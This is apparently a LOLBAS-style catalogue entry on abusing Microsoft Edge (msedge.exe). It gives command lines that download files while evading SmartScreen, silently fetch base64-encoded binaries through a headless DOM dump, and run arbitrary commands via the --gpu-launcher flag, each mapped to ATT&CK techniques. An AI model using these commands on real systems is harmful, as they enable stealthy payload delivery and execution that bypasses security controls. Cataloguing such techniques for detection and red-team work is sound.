.. /Msedge.exe
Star

Microsoft Edge browser

Paths:

c:\Program Files\Microsoft\Edge\Application\msedge.exe
c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Resources:

Acknowledgements:

mr.d0x (@mrd0x)

Detections:

Download

Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
```
msedge.exe https://www.example.org/file.exe.txt
```
Use case
Download file from the internet

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105: Ingress Tool Transfer
Edge will silently download the file. File extension should be .html and binaries should be encoded.
```
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "https://www.example.org/file.base64.html" > file.b64
```
Use case
Download file from the internet

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105: Ingress Tool Transfer

Execute

Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command
```
msedge.exe --disable-gpu-sandbox --gpu-launcher="cmd /c c:\windows\system32\calc.exe &&"
```
Use case
Executes a process under a trusted Microsoft signed binary

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1218.015: Electron Applications
Tags
Execute: CMD